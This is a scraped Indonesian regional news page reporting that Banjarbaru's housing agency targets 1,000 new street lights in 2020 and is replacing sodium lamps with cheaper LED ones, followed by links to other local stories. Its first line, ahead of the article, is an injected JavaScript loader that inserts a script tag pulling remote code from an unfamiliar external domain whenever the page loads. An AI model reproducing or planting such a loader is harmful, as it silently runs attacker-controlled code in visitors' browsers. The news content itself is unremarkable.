(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Disperkim Banjarbaru Targetkan Pemasangan 1000 PJU di Tahun 2020


BANJARBARU, Tahun depan, Dinas Perumahan dan Permukiman (Disperkim) kota Banjarbaru menargetkan ada 1000 Penerang Jalan Umum (PJU) yang akan menerangi wilayah kota Banjarbaru.

Tentu saja hal ini dilakukan seiring dengan meningkatnya  jumlah penduduk dan  pembangunan perumahan serta permukiman tiap tahunnya. Apalagi sejumlah akses jalan baru di kota Banjarbaru, juga mulai ada beberapa yang dibangun.

Berdasarkan hal itu serta upaya untuk menjadikan Banjarbaru yang berjuluk kota Idaman ini sebagai kota dengan hunian yang nyaman, maka Disperkim Kota Banjarbaru pun menargetkan pembangunan PJU tahun 2020 akan diadakan sebanyak 1.000 buah.

“Maka dari itu tahun depan kita minimal mencapai 1000 PJU terpasang, dan ini bagian dari menuju Banjarbaru terang,” ujar Endro Siswanto Kasi PJU Disperkim Banjarbaru.

Sejak tahun 2016, pengadaan PJU memang mengalami peningkatan, hingga setiap tahunnya Disperkim selalu membangun 1000 PJU. Ditargetkan untuk tahun 2020 pembangunan PJU lebih dari 1000.

Sementara untuk jenis PJU Disperkim kini juga sedang mengubah jenis lampu sodium menggantikannya dengan lampu LED, selain terang ucap Endro juga lebih hemat penggunaan anggarannya. “Kalau PJU jenis sodium bisa sampai 150 Watt per bijinya, tetapi kalau jenis LED bisa menghemat anggaran karena hanya 80 Watt perbiji dan juga lebih terang,” jelasnya.

Namun, kedua jenis lampu ini memang memiliki kekurangan dan kelebihan tersendiri, kalau lampu sodium dengan warna kuning memiliki kelebihan cahaya yang mampu menembus kabut tetapi memiliki watt lebih tinggi, sedangkan LED memiliki cahaya yang lebih kuat dan juga memiliki beban Watt yang ringan. “Dalam sebulan saja kita membayar biaya PJU kepada PLN hampir mencapai 700 juta, dengan berpindahnya jenis PJU sodium ke LED diharapkan bisa meminimalisir anggaran,” pungkasnya.(rico)

Reporter : Rico
Editor : Chell


Desy Arfianty

Recent Posts

Sensasi Soto Apung Banjarmasin Santapan di Atas Lanting Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More

48 menit ago

Pascabanjir Bandang Warga Tebing Tinggi Mulai Tempati Rumah

KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More

2 jam ago

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

8 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

9 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

12 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

12 jam ago

This website uses cookies.